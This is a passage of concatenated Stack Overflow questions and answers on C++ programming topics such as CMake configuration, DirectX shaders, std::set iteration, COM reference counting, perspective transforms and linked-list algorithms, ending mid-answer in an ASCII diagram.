i was just asking if it was POSSIBLE because i like it more than the #if ... #endif. If the expression of the condition will always expand to 1 or 0 (or some other known set of values) it is possible to implement such a macro. #define VALUE_0(...) #define VALUE_1(...) __VA_ARGS__ #define COM_TIME_DO_IN(A, ...) VALUE_##A(__VA_ARGS__) #define COM_TIME_DO(A, ...) COM_TIME_DO_IN(A, __VA_ARGS__) However, do not use such code in real life. Use #if and write clear, readable and maintainable code that is easy to understand for anyone.
73,232,002
73,232,389
CMake non-configurable option
In CMake, how can I define an option that is not configurable by the user, but automatically calculated? I would like to do the following: if (FOO AND NOT BAR) option(BOO "Foo and not bar" ON) endif() And then I can use BOO in different CMake files: if (BOO) # do something endif() And also in sources: #ifdef BOO // do something #endif So BOO behaves like a regular option, but is automatically calculated and not configurable by user running cmake. EDIT: I now realize that options are not implicitly available in sources, but need to be defined explicitly with target_add_definitions or other means. So now it becomes obvious that the solution is to define BOO as a CMake variable, rather than an option.
Your "non-user-configurable" option sounds like a variable, which you can create like: if(FOO AND NOT BAR) set(BOO TRUE) else() set(BOO FALSE) endif() To use this variable in C++ code, you need to tell CMake to create a C++ file which defines this information. Take a look at CMake's configure_file function. Here's the official documentation, and here's part of the official CMake tutorial which walks through a simple usage of this function. I would type out some example code, but it would be a lot of boilerplate, and the linked documents do the job and should be better at answering your questions. There is an alternative to configure_file: using target_compile_definitions. The tradeoff to make is between simplicity of implementation and build times. If the value of a compile definitions changes upon reconfiguration, then CMake has to assume that every source file of the target needs to be recompiled, since it has no information about how that definition is being used (ie. target_compile_definitions is easy to implement, but can lead to much slower build times in specific scenarios). When you use configure_file, only the files that include the file that defines those definitions need to be recompiled. There's also potentially an argumen to be made about "readability": if your target gets installed, it's easier for someone reading the installed headers to find the definition versus having to read generated CMake files to find it.
73,232,067
73,232,216
Using Hull shader and Domain shader breaks 2D shader
I'm following Rasterteks DirectX11 tutorial at https://www.rastertek.com/tutdx11.html and have been combining them to create and learn. I just implemented tessellation for my 3D models and noticed that my 2D shader for rendering text stopped working. I have separate shaders for 2D and 3D, which worked fine until I implemented the Hull shader and domain shader for my 3D rendering. Below is some code for when I set the shaders. Lightshader with tessellation: void LightShader::RenderShader(ID3D11DeviceContext * immediateContext, int indexBufSize) { immediateContext->IASetInputLayout(layout); immediateContext->VSSetShader(vertexShader, NULL, 0); immediateContext->PSSetShader(pixelShader, NULL, 0); // using these two causes the 2D rendering to stop working immediateContext->HSSetShader(hullShader, NULL, 0); immediateContext->DSSetShader(domainShader, NULL, 0); immediateContext->PSSetSamplers(0, 1, &sampleState); immediateContext->DrawIndexed(indexBufSize, 0, 0); } Fontshader for rendering 2D text: void FontShader::RenderShader(ID3D11DeviceContext * immediateContext, int indexBufSize) { immediateContext->IASetInputLayout(layout); immediateContext->VSSetShader(vertexShader, NULL, 0); immediateContext->PSSetShader(pixelShader, NULL, 0); immediateContext->PSSetSamplers(0, 1, &sampleState); immediateContext->DrawIndexed(indexBufSize, 0, 0); } I could also post the shadercode on request if the issue lies there.
It's probably because you forgot calls for unbinding HS and DS. Such as immediateContext->HSSetShader(NULL, NULL, 0); immediateContext->DSSetShader(NULL, NULL, 0); You should enable debug layer, it's useful for debugging.
73,232,963
73,233,967
How can I erase elements from a std::set in reverse (from the end until a lower_bounds)
So I need to erase elements from a std::set in a particular order, doing something with the first. so if I had a set containing {1,2,3,4,5,6} and my I wanted to go until 4, I need to: doSomething(6); erase(6); doSomething(5); erase(5); doSomething(4); erase(4); I have the following code that does not work: #include <iostream> #include <set> void doSomething(int value) { std::cout << value << '\n'; } int main() { std::set<int> s = {1,2,3,4,5,6}; auto beginIt = s.end(); auto endIt = s.lower_bound(4); auto rbegin = std::make_reverse_iterator(beginIt); auto rend = std::make_reverse_iterator(endIt); for (auto it = rbegin; it != rend;) { doSomething(*it); s.erase(std::next(it).base()); } return 0; } I think the issue is that it erasing the end iterator then keeps going util it crashes. How can I get this to work. godbolt: https://godbolt.org/z/KvaGWhr4G
The correct way of doing what you want is to getting your end iterator each time. for (auto it = rbegin; it != std::make_reverse_iterator(s.lower_bound(4));) { doSomething(*it); s.erase(std::next(it).base()); } Now let's see why you initial code didn't work. In set, the iterators are not invalidated after erasing an element, EXCEPT for the iterator that was pointing to the erased element. Now let's see what happened in the last iteration when you remove 4. When dereferencing the rend, we will see that it points to 3. However, the base of rend points to 4. And after removal of 4, the base of rend has been invalidated. So your program had Undefined behavior. To understand why getting end iterator at every iteration works, we have to understand that during the program the base of it is always s.end(). And at the last step, when we call s.lower_bound(4), we get s.end(). Hence, the condition for exiting the loop is satisfied.
73,232,965
73,288,265
Why do I get double binary size when I instantiate a static object inside a free function in C++?
On an embedded system (Cortex-M4) I write C++ that compiles with GCC arm-none-eabi-g++. Compiler version 10.2.1 20201103. My code is kind of complicated to copy paste it here, so here's an example: I have a class that abstracts a hardware peripheral. class A { public: void init(void) { // initializes hardware peripheral } // other public functions here private: int x,y; // other private variables here }; I want to use this class to use it inside an RTOS task. in a.cpp file I have a free function myDriver_init that is linked with extern "C" keyword. The free function myDriver_init creates an RTOS task and gives it a callback to run. extern "C" myDriver_init(void) { static A a; create_RTOS_task(&myDriver_state_machine, &a, priority, stack_size); } void myDriver_state_machine(void * param) { A * a_ptr = static_cast<A*>(param); a_ptr->init(); while(true) { //user code here... } } In main.c I call the C linked function like this int main(void) { myDriver_init(); ... RTOS_Task_run(); } The question is why do I get almost double size of binary when the object a is inside the functon myDriver_init? If I move it outside and use it as a global variable the size of the binary goes significantly smaller. static A a; extern "C" myDriver_init(void) { create_RTOS_task(&myDriver_state_machine, NULL, priority, stack_size); } void myDriver_state_machine(void * param) { a.init(); while(true) { //user code here... } } Why is this happening? The optimization I use is -O2 in both cases. I thought static variables/objects within functions are placed in the heap. What's the difference here? I see some std::bad_exception in the map file of the big binary. Despite having -fno-rtti and -fno-exceptions flags.
It appears that somehow the compiler produces more code into the final binary when you create static objects inside functions like my example in the question. That piece of code has something to do with exceptions which is not a desirable result in my case. Changing the linker flags from -specs=nosys.specs to -specs=nano.specs solves the problem.
73,233,039
73,236,064
CERN ROOT framework segmentation fault with visual C++
I am trying to use CERN's ROOT framework inside a Visual C++ project. I built it from sources using the following commands (https://root.cern/releases/release-62606/): `` cmake -G"Visual Studio 17 2022" -A x64 -Thost=x64 -DCMAKE_INSTALL_PREFIX=..\install_dir ..\root_src cmake --build . --config Debug --target install git clone --branch latest-stable --depth=1 https://github.com/root-project/root.git root_src I then tried to build an example to test if my setup worked. #include "TF1.h" #include "TApplication.h" #include "TCanvas.h" #include "TRootCanvas.h" int main(int argc, char** argv) { TApplication app("app", &argc, argv); // Seg fault happens with this line TCanvas* c = new TCanvas("c", "Something", 0, 0, 800, 600); TF1* f1 = new TF1("f1", "sin(x)", -5, 5); f1->SetLineColor(kBlue + 1); f1->SetTitle("My graph;x; sin(x)"); f1->Draw(); c->Modified(); c->Update(); TRootCanvas* rc = (TRootCanvas*)c->GetCanvasImp(); rc->Connect("CloseWindow()", "TApplication", gApplication, "Terminate()"); app.Run(); return 0; } When I build this code and run it, I get a segmentation fault. Critical error detected c0000374 Exception thrown at 0x00007FFF29FEF609 (ntdll.dll) in RootTest.exe: 0xC0000374: Un segment de mΓ©moire a Γ©tΓ© endommagΓ© (parameters: 0x00007FFF2A0597F0). Unhandled exception at 0x00007FFF29FEF609 (ntdll.dll) in RootTest.exe: 0xC0000374: Un segment de mΓ©moire a Γ©tΓ© endommagΓ© (parameters: 0x00007FFF2A0597F0). Exception thrown at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Unhandled exception at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Exception thrown at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Unhandled exception at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Exception thrown at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Unhandled exception at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. Exception thrown at 0x00007FFF29F0EC5C (ntdll.dll) in RootTest.exe: 0xC0000005: Access violation reading location 0x0000000000000008. The program '[28120] RootTest.exe' has exited with code 0 (0x0). Visual Studio tells me that the error comes from TWinNTSystem.cxx line 1017 while (buf[0] && GetFileAttributes(check_path.Data()) == INVALID_FILE_ATTRIBUTES) { I use /sdl-, /permissive and /std=c++17. Do you have any idea why I am having this segmentation fault ?
%ROOTSYS% must be set else ROOT won't be able to find %ROOTSYS/etc directory. This can be achieved by running thisroot.bat.
73,233,267
73,306,121
Invalid alignment value (Producer: 'LLVM14.0.0git' Reader: 'LLVM 13.0.0git')
I try to build wasm on my ubuntu desktop. I'm using Ubuntu 22.04 I tried to install llvm-14 in terminal. But it didn't work. Error is here: Invalid alignment value (Producer: 'LLVM14.0.0git' Reader: 'LLVM 13.0.0git') Has anyone encountered this problem before?
I fixed this problem. I updated my emsdk version to 3.1.13
73,233,307
73,233,574
How to distinguish odd and even for big numbers more efficiently?
Please let me know by comments if there are already some similar questions. When we usually try to distinguish odd and even numbers we can try the following code, in C++. int main() { int n=10; for(n; n>0; n--){ if(n%2==0) std::cout<< "even" << '\n'; if(n%2==1) std::cout<< "odd" << '\n'; } } I'm sure more than 99% of undergraduates, even professionals, would use condition as "if (n%2==0)...else" to distinguish between odd and even. However, when the range of number gets big enough, it seems to me that "if (n%2==0)...else" method could be quite inefficient. Let me reason them why. int main() { int n=100000; for(n; n>0; n--){ if(n%2==0) std::cout<< "even" << '\n'; if(n%2==1) std::cout<< "odd" << '\n'; } } when the integer "n" was small then dividing each of positive integer smaller than it wasn't a big deal. However, when it becomes big, wouldn't there be some more efficient way than just dividing them? We, humans, usually don't calculate modulo 2 to know whether "10^1000 + 1" is odd or even. It goes same for ""10^1000 + 2", "10^1000 + 3", and so on. We can just know the answer by looking at the last digit of integer. I'm not an expert in CS, so even though I'm not sure about this information, I heard machines are much more friendly to binary numbers than humans do. If so, wouldn't computers can distinguish between odd and even numbers more faster just by looking at the last digit of their inputs, whether they are 0 or 1? If there is some direct answer to this, I'm sure many of intermediate level of numerical algorithms could benefit from the answer. Looking forward for someone's help. Thanks.
Is the performance time for 50000000%2 and 5%2 really the same? This is making the assumption that the compiler "looks at the number" and "knows" how big its value is. Thats not the case for divisions. The compiler sees an int and performs some operations on that int. Different values are merely different bits set in that int which always has the same number of bytes that need to be considered when carrying out a division. On the other hand, %2 is such a common operation that the compiler indeed "knows where to look": The last bit. Consider this two functions: bool is_odd1(int n) { return (n%2);} bool is_odd2(int n) { return (n&1);} Both return true when n is odd. is_odd1 uses % which is defined as remainder after division. Though, just because it is defined like that does not imply that it must be implemented like this. The compiler will emit code that produces the result in accordance with the definition, and that code can be expected to be very efficient. is_odd2 only considers the lowest bit of n to check if it is set or not. With optimizations turned on gcc produces exact same output for both: is_odd1(int): mov eax, edi and eax, 1 ret is_odd2(int): mov eax, edi and eax, 1 ret Both function do nothing but check if the lowest bit of n is set. Live Demo. Conclusion: Do not worry about such micro optimizations. If possible they are implemented in the compiler. Rather write code for clarity and readability. However, do not introduce inefficiencies on the large scale. For example if you had written your code like this, there would be no need to rely on compiler optimizations: for(; n>0; n-=2){ std::cout<< "even" << '\n'; std::cout<< "odd" << '\n'; } Though, this is anyhow not a good example, because printing something to the console is magnitudes more expensive than checking if a single bit is set or not.
73,233,493
73,234,024
How virtual functions are called in c++
// b.h #include <stdio.h> class Tmp { public: // virtual void vfunc11() {} virtual void vfunc1(); virtual ~Tmp() {} }; class Tmp2 : public Tmp { public: virtual void vfunc1(); }; // b.cc #include "tutorial/b.h" #include <stdio.h> void Tmp2::vfunc1() { printf("Tmp2::vfunc1\n"); } // a.cc #include "b.h" int main() { Tmp *t = new Tmp2; t->vfunc1(); } In the above example, the first time compile b.cc and a.cc and link them. At this time, t->vfunc1(); calls Tmp::vfunc1. Second uncomment virtual void vfunc11(int);, just recompile b.cc At this time, the link does not report an error, but the call is Tmp::vfunc11
So 'under the hood' each object of a class with virtual function holds data about how to call its version of that function. That's a logical fact. During execution the code must have a way of determining which version of each virtual function to call for all the concrete object instances it may encounter(*). In practice that's usually hidden data inside the object and normally a pointer to some data shared by all objects of the same concrete class. That shared data is usually called a 'v-table' because it's basically an array and the code accesses it by subscript. For a class with 3 virtual functions it will have 3 rows including the code entry point of the virtual functions. What you've done by a partial recompile is to cause code to access the wrong entry in the v-table. The code is calling virtual function subscript 0 and you've replaced it with a different function. Sneaky... It's working because the two virtual functions (vfunc1 and vfunc11) have same signature (parameters and return type - in this case void) so when the code 'accidentally' calls the wrong function, everything happens to work(**). I strongly recommend that unless you're a compiler implementer that is more than you need to know. Don't go down the rabbit hole of exactly how polymorphism is implemented unless you need to. (*) It's worth pointing out that good optimisers can sometimes workout which function to call directly. If you instantiate an object as a local variable its concrete class is fixed so which virtual functions to call for it are fixed. Not all virtual function calls go through a lookup. But again, that is detail! (**) Yes there totally is scope for hacking by conniving to get the wrong virtual function called so have your code malicious code called!
73,234,385
73,239,630
Perspective transformation using coordinates of a 2D image
Given a 2D image, I want to transform it to a given plane using a function() to transform the original coordinates to new coordinates on the same screen, with correct proportion. An example of what I mean: Perspective Transformation Now, translating the x coordinates I've been able to do, the problem is the translation of 'y' coordinates. I've been able to translate them linearly, but that's not what I want to achieve, because there is no perspective when transforming the coordinate linearly. I've tried searching for solutions for quite a while now, and I haven't been able to get one. I have come across plenty of examples using openCV and using matrices, but that isn't exactly what I want. What I'm looking for is a function, given (x, y) coordinates of an image, return (x', y') coordinates which corresponds to the perspective projection (see example). This is my current C++ code: struct Coor { Coor(float x, float y) : x(x), y(y) {}; float x; float y; }; const float WINDOW_SIZE = 100.0f; const Coor PERSPECTIVE_POINT = { WINDOW_SIZE * 0.5f, WINDOW_SIZE * 0.3f }; Coor transform(float x, float y) { float perspectiveHeight = WINDOW_SIZE - PERSPECTIVE_POINT.y; float linearProportionY = y / WINDOW_SIZE; float transformedX = PERSPECTIVE_POINT.x + ((x - PERSPECTIVE_POINT.x) * linearProportionY); // This is what I can't compute correctly (I know the proportion is not linearProportionY, it's a placeholder) float transformedY = PERSPECTIVE_POINT.y + (perspectiveHeight * linearProportionY); return Coor(transformedX, transformedY); } Any help would be gladly appreciated!
Your image doesn’t seem right. In actual perspective transformation, only infinitely far points would merge on the horizon. One possible way to apply the transform is in several steps: With an affine (linear+offset) transform, place the plane into 3D space Divide x and y by z With another affine transform, move the result to the desired location. UPDATE: sample code // 1. making a small horizontal plane float X = x/WINDOW_SIZE - 0.5f; // X∈[-0.5, 0.5] float Y = -0.5f; float Z = 2.0f - y/WINDOW_SIZE; // Z∈[1.0, 2.0] // 2. perspective transform float u = X / Z; // u∈[-0.5, 0.5] float v = Y / Z; // v∈[-0.5, -0.25] // 3. scaling the result to fill the window x = 0.5f * WINDOW_SIZE.x + WINDOW_SIZE * u; y = 0.5f * WINDOW_SIZE.y - WINDOW_SIZE * v; You may need to adjust coefficients to make it look more to your taste. And remember, only artists think in terms of perspective points. In 3D graphics, camera orientation and field of view are the correct things. (and, matrices to handle that easier)
73,234,812
73,236,045
I am having problem debugging this Merge Sort for LinkedList Problem
I am trying to mergeSort two linked lists, and have used functions mid - To find the midpoint of LL merge - To merge the sorted linked lists mergeSort - The final function is called recursively Following is the class structure of the Node class: class Node { public: int data; Node *next; Node(int data) { this->data = data; this->next = NULL; } }; My code: Node *merge(Node *head1, Node *head2) { Node *nh = NULL; Node *nt = NULL; if(head1==NULL) { return head2; } if(head2==NULL) { return head1; } if(head1->data<=head2->data) { nh = head1; nt = head1; head1 = head1->next; } else { nh = head2; nt = head2; head2 = head2->next; } while(head1!=NULL && head2!=NULL) { if(head1->data<=head2->data) { nt->next = head1; nt = head1; head1=head1->next; } else { nt->next = head2; nt = head2; head2 = head2->next; } } if(head1!=NULL) { nt->next =head1; } if(head2!=NULL) { nt->next = head2; } return nh; } Node *mid(Node *head) { if(head==NULL) { return head; } Node *fast = head; Node *slow = head; while(fast->next!=NULL && fast->next->next!=NULL) { slow = slow->next; fast = fast->next->next; } return slow; } Node *mergeSort(Node *head) { if(head==NULL) { return head; } Node *midpoint = mid(head); Node *half1 = head; Node *half2 = midpoint->next; midpoint->next = NULL; half1 = mergeSort(half1); half2 = mergeSort(half2); Node *mergeHead = merge(half1,half2); return mergeHead; } I am getting runtime errors. How can I get this to work?
The problem is that your recursion does not stop. You have as base case that head is NULL, but what if head is a list with one element? Then the list will split into an empty list and a list with that one element. So there will be a next recursive call with that one element... which is what you already had, and so it continues until you run out of stack memory. You need to also make that a base case, reasoning that a list of just one element is already sorted, and so you can just return it: if (head == NULL || head->next == NULL) // <--- { return head; }
73,234,879
73,235,087
make template class with std::vector<T> non-copyable when T is non-copyable
#include <vector> #include <memory> template<typename T> class V { public: template<typename U = T, std::enable_if_t<std::is_copy_assignable_v<U>, int> = 0> auto operator = (const V &rhs) -> V & { v = rhs.v; return *this; } private: std::vector<T> v; }; template<typename T> class U { public: template<typename U = T, std::enable_if_t<std::is_copy_assignable_v<U>, int> = 0> auto operator = (const U &rhs) -> U & { t = rhs.t; return *this; } private: T t; }; int main() { static_assert(!std::is_copy_assignable_v<std::unique_ptr<int>>); // success static_assert(!std::is_copy_assignable_v<U<std::unique_ptr<int>>>); // success static_assert(!std::is_copy_assignable_v<V<std::unique_ptr<int>>>); // fail return 0; } Here, U<T> and V<T> have assignment operator when T is copy-assignable. However, static_assert to check if V<std::unique_ptr<int>> is non-copy-assignable fails although similar check for U<std::unique_ptr<int>> successes. Why does the static_assert fail for V<T> here and how can I fix it?
The special copy assignment operator is never a template. In cpp insights we can see that the compiler will generate a non-template copy assignment operator in addition to the template operator you provided. You can conditionally disable special member functions of template class based on template parameter by inheriting from a base class with desired semantics #include <type_traits> class copyable { }; class no_copy_assign { void operator=(const no_copy_assign&) = delete; }; template<class T> class A : std::conditional_t</* Condition */, copyable, no_copy_assign> { }; // Condition can be std::is_copy_assignable_v<T>
73,234,967
73,235,120
CMake: add compile flag for header only library
Unsure about how to use CMake properly here. I have one library, which is a template header only library which uses C++20 features. Therefore, I want to make sure that any [downstream/consumer/dependent] of my library compiles the specialization of my library with the correct flags. First lib does the following: add_library(foo INTERFACE include/foo.h) Now, foo uses the filesystem stuff from c++20, so I want to do something like this: target_compile_features(foo INTERFACE cxx_std_20) target_link_libraries(foo INTERFACE stdc++fs) In my dependent, I then want to do add_executable(bar src/bar.cpp) find_package(foo REQUIRED) target_link_libraries(bar foo) // src/bar.cpp #include "foo.h" // or something like that Currently, linker fails. What's the proper way to set this up?
target_link_libraries is to set libraries to link with when actually building the specified target. The problem here is that INTERFACE libraries aren't built. You need to add the libraries to link with as a dependency for your library. This is done with the set_target_properties command to set the INTERFACE_LINK_LIBRARIES property: set_target_properties(foo PROPERTIES INTERFACE_LINK_LIBRARIES stdc++fs)
73,235,016
73,235,141
Huge memory usage in C++ MCTS algorithm
I am implementing a Monte Carlo Tree Search algorithm in C++. I create one huge tree at a time in a for loop, a different one at each iteration. My problem is that each tree is vast and if i create 12000 trees, my program crashes because all available memory in the PC is allocated. The thing is, that the tree that i create in the iteration 5 for example, is useless in the next iterations, so i would like to free the memory it has allocated. I create each node as std::make_shared<Node<T, A, E> where Node is a class that i have created, and the tree as an instance of a class mcts = MCTS(laneFreeState(state), backpropagation, terminationCheck,scoring)
The call to std::make_shared is using new to allocate memory on the heap. So when you finish using the tree, just recursively iterate it, deleting the nodes as you go (deepest first, then work backwards).
73,235,815
73,248,775
I want to deploy a pytorch segmentation model in a C++ application .. C++ equivalent preprocessing
I want to deploy a pytorch segmentation model in a C++ application. I knew that I have to convert the model to a Torch Script and use libtorch. However, what is C++ equivalent to the following pre-preprocessing (It's Ok to convert opencv, but I don't know how to convert the others)? import torch.nn.functional as F train_tfms = transforms.Compose([transforms.ToTensor(), transforms.Normalize(channel_means, channel_stds)]) input_width, input_height = input_size[0], input_size[1] img_1 = cv.resize(img, (input_width, input_height), cv.INTER_AREA) X = train_tfms(Image.fromarray(img_1)) X = Variable(X.unsqueeze(0)).cuda() # [N, 1, H, W] mask = model(X) mask = F.sigmoid(mask[0, 0]).data.cpu().numpy() mask = cv.resize(mask, (img_width, img_height), cv.INTER_AREA)
To create the transformed dataset, you will need to call MapDataset<DatasetType, TransformType> map(DatasetType dataset,TransformType transform) (see doc). You will likely have to implement your 2 transforms yourself, just look at how they implemented theirs and imitate that. The libtorch tutorial will guide you through datasets and dataloaders You can call the sigmoid function with torch::nn::functionql::sigmoid I believe
73,236,632
73,237,211
How can I access variables stored in the dynamic memory in a different function?
So I made this little piece of code that asks the user the size of an array and the contents of the array (in order) and makes the array in the dynamic memory (heap?). void leesgetallen() { int *n = new int(); cout << " Wat is de lengte van de Array?" << endl; cin >> *n; int g; int *A = new int[*n]; cout << "Geef de getallen van de Array in stijgende volgorde." << endl; for (int i = 0; i < *n; i++) { cout << "Geef getal nummer " << i << " :"; cin >> g; A[i] = g; } cout << "Ter controle, dit is de ingegeven Array: "; for (int *pa = A; pa != A + *n; pa++) { cout << *pa << " "; } } On its own this works perfectly. However when I then try to use this array (A) and size of said array (*n), it doesn't recognize A and *n. I don't quite understand how I can use these variables as to my understanding if they are in the dynamic memory they should be global? The reason I need to access them is because I want to use a different function to calculate the average of an inputted array. like so. int gem(int a[], int n) { int som = 0; for (int *pa = a; pa != a + n; pa++) { som += *pa; } int gemiddelde = som / n; cout << "Het gemiddelde van deze array is: " << gemiddelde << endl; return gemiddelde; } void leesgetallen() { int *n = new int(); cout << " Wat is de lengte van de Array?" << endl; cin >> *n; int g; int *A = new int[*n]; cout << "Geef de getallen van de Array in stijgende volgorde." << endl; for (int i = 0; i < *n; i++) { cout << "Geef getal nummer " << i << " :"; cin >> g; A[i] = g; } cout << "Ter controle, dit is de ingegeven Array: "; for (int *pa = A; pa != A + *n; pa++) { cout << *pa << " "; } } int main() { leesgetallen(); gem(A, *n); delete *n; delete[] A; } Can anyone help me out? ps: all text is in dutch, but that shouldn't really matter I hope.
new int[*n] creates new, global (in a sense), unnamed array, and returns pointer to its beginning. That pointer is the only way to access that array. But A, the variable you store it in, is local to leesgetallen so can only be accessed from said function. To overcome that, you can define A and n in main, for example, and pass references (or pointers) to these variables into leesgetallen. (Or, as @lorro suggested, return their values in a tuple) Also note that n doesn’t need dynamic allocation as you know for sure it will be exactly one int for your whole program.
73,237,497
73,237,565
Can member functions of an object acces private members of local a object variable of the same nature? And if yes why? (see example...a.x)
float vector3d::scalar(vector3d a){ return (x*a.x + y*a.y + z*a.z); // here we can acces a.x even if x is a private // member of a (vector3d)....my guess as scalar is a // member function of vector3d it can acces private // members of local vector3d variables } here we can acces a.x even if x is a private member of a (vector3d)....my guess as scalar is a member function of vector3d it can acces private members of local vector3d variables?
Yes an instance can access private members of a different instance of same class. From cppreference: A private member of a class is only accessible to the members and friends of that class, regardless of whether the members are on the same or different instances: [...] Suppose other instances would have no access. Then it would be impossible to copy a private member when there is no getter method, and this would be rather bad. struct foo { foo& operator=(const foo& other) { x = other.x; return *this; } private: int x = 0; }; Of course you wouldnt write such a operator=, but a compiler generated one will do very much the same.
73,238,133
73,238,268
How to do COM dll reference counting the right way? Official Microsoft samples are inconsistent
Some implementations calls DllAddRef() and DllRelease() in the CClassFactory constructor, destructor, and LockeServer member function: https://github.com/microsoft/workbooks/blob/master/Clients/Xamarin.Interactive.Client.Windows.ShellExtension/ClassFactory.cpp Some do it only in LockeServer: https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/CredentialProvider/cpp/Dll.cpp And in others, the CClassFactory constructor and destructor use a totally different reference count variable from that of LockeServer: https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/NetworkAccessProtectionExtensions/cpp/SampleShvUi/shvuicf.cpp Which one is the right way? Also the use of global reference count variables seems like a rather outdated pattern. Could static class member variables be used instead?
COM makes a distinction between DLL reference counting and object server reference counting. Sometimes the object server is exactly one DLL and no more and it makes sense to combine them, sometimes the object server needs to maintain additional state (open files, network connections) and therefore requires different lifetime. There's no disadvantage to using global variables for the DllAddRef and DllRelease reference counts -- those functions have to be global anyway so there's no possibility of having a class to store per-instance data. And the globals will tend to be declared static in a single compilation unit -- that means no linkage and less work for the linker to do. Since these functions are called via LoadProcAddress there's no lost opportunity for inlining them (inlining would require linkage so the variables can be found at all call sites). In contrast, CClassFactory reference counts will tend to be stored in the CClassFactory class instance, which typically will be a singleton but there's no prohibition on advanced COM scenarios like tearoffs.
73,238,314
73,239,690
Problems with LinkedList, overwritten?
I have recently been working on this problem: Reorder List - Leetcode 143 and found out I don't have the concept of Linked List as clear as I imagined. The answer looks as following (got it from Grokking the coding interview): static void reorder(ListNode *head) { if (head == nullptr || head->next == nullptr) { return; } // find the middle of the LinkedList ListNode *slow = head, *fast = head; while (fast != nullptr && fast->next != nullptr) { slow = slow->next; fast = fast->next->next; } // slow is now pointing to the middle node ListNode *headSecondHalf = reverse(slow); // reverse the second half ListNode *headFirstHalf = head; // rearrange to produce the LinkedList in the required order while (headFirstHalf != nullptr && headSecondHalf != nullptr) { ListNode *temp = headFirstHalf->next; headFirstHalf->next = headSecondHalf; headFirstHalf = temp; temp = headSecondHalf->next; headSecondHalf->next = headFirstHalf; headSecondHalf = temp; } // set the next of the last node to 'null' if (headFirstHalf != nullptr) { headFirstHalf->next = nullptr; } } The problem comes in the following part: headFirstHalf->next = headSecondHalf; headFirstHalf = temp; If I overwrite the next node of headFirstHalf to be the node headSecondHalf and then I overwrite the headFirstHalf, wouldn't I be overwriting the headFirstHalf->next by assigning headFirstHalf to temp? I hope the question is clear, otherwise I'll try to make myself clearer.
The variables that are of the ListNode* type, are pointers. They are not the structures themselves. It may help to visualise this. When the while loop starts, we might have this state: head headFirstHalf β”‚ β”‚ β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ data: 3 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β”‚ headSecondHalf Then we execute ListNode *temp = headFirstHalf->next; head headFirstHalf temp β”‚ β”‚ β”‚ β–Ό β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ data: 3 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β”‚ headSecondHalf Now we get to the statements that you asked about. First: headFirstHalf->next = headSecondHalf; head headFirstHalf temp β”‚ β”‚ β”‚ β–Ό β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ─┐ β”‚ β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”‚β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 4 β”‚ β”‚ data: 3 β”‚ β”‚ next: ───────► β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β–² β”‚ headSecondHalf And then headFirstHalf = temp; head headFirstHalf temp β”‚ └───────────┐ β”‚ β–Ό β–Ό β–Ό β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”‚ data: 1 β”‚ β”‚ data: 2 β”‚ β”‚ next: ─┐ β”‚ β”‚ next: null β”‚ β””β”€β”€β”€β”€β”€β”€β”€β”€β”‚β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β”‚ β–Ό 